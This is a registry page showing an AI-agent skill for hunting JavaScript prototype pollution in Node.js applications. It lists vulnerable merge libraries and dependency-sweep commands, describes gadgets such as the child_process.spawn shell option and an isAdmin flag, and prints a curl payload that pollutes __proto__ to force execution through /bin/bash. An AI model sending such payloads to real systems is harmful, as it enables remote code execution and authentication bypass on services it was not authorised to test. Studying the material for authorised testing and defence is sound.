Hunt JavaScript prototype pollution (CWE-1321) — the 2023-2026 meta-vulnerability that chains into RCE, auth bypass, and SSRF on most Node.js stacks.
58
68%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.mdPrototype pollution is the JavaScript equivalent of a universal gadget:
plant a property on Object.prototype and it appears on every object in
the runtime. Worthless in isolation, deadly in chain (__proto__.isAdmin = true → auth bypass; __proto__.shell = "/bin/bash" → RCE via spawn).
Keep a running list per engagement. These continue to ship sinks in 2026:
lodash.merge, deepmerge (pre-fix), merge-deep, deepExtend, hoek.merge, mixmelodash.defaultsDeep, lodash.zipObjectDeep, set-value (pre-3.0.3)qs, express-fileupload, jquery.extend(true, ...)node-config recursive merge, dotenv-extended, rc# Every JS/TS project: sweep known-bad versions
jq '.dependencies,.devDependencies | to_entries[] | select(.key | test("merge|lodash|set-value|dot-object|dot-prop|node-pg"))' /workspace/src/package.json
npm ls lodash set-value dot-prop 2>/dev/null | grep -E '[0-9]'Any user input deserialized into a nested object:
body-parser, express.json)qs with default config parses a[b][__proto__][c]=1)Poisoning Object.prototype doesn't do anything by itself — you need
a gadget that reads a property that didn't exist before.
Classic gadgets:
child_process.spawn(cmd, args, opts) — opts has a shell option.
Poison __proto__.shell = "/bin/bash" then any subsequent spawn call
executes through bash and interprets args as shell strings.options.someFlag with
if (opts.someFlag). Poisoning that flag flips security defaults.helpers and partials from
the context object; pollution adds helpers that execute code.lodash.template — if the template source is built from _.template(tpl, ctx) you can inject via polluted escape/evaluate keys.mongoose — polluting Schema.Types causes subsequent schema
definitions to use attacker-controlled types.# Classic lodash.merge RCE via child_process.spawn
curl -X POST https://target.com/api/settings \
-H 'Content-Type: application/json' \
-d '{"__proto__": {"shell": "/bin/bash", "env": {"PATH": "/tmp:/usr/bin"}}}'
# Second request triggers the gadget
curl https://target.com/api/render-pdf
# → any subsequent child_process.spawn call now runs through /bin/bashvalidate_findingObject.prototype__proto__.isAdminNegative control: same payload with proto (no leading underscores) —
should have no effect. If it does, the endpoint is treating that key
specially and the finding is unrelated.
| Variant | Vector | Score |
|---|---|---|
| DoS (crash Node process) | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | 7.5 |
Auth bypass via isAdmin pollution | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | 9.1 |
| RCE via spawn gadget | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
Prototype pollution is almost always the first hop of a chain. After
validation, add an enables edge from the pollution vuln to:
Chain weight 0.4 — pollution is cheap once the merge sink is known.
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.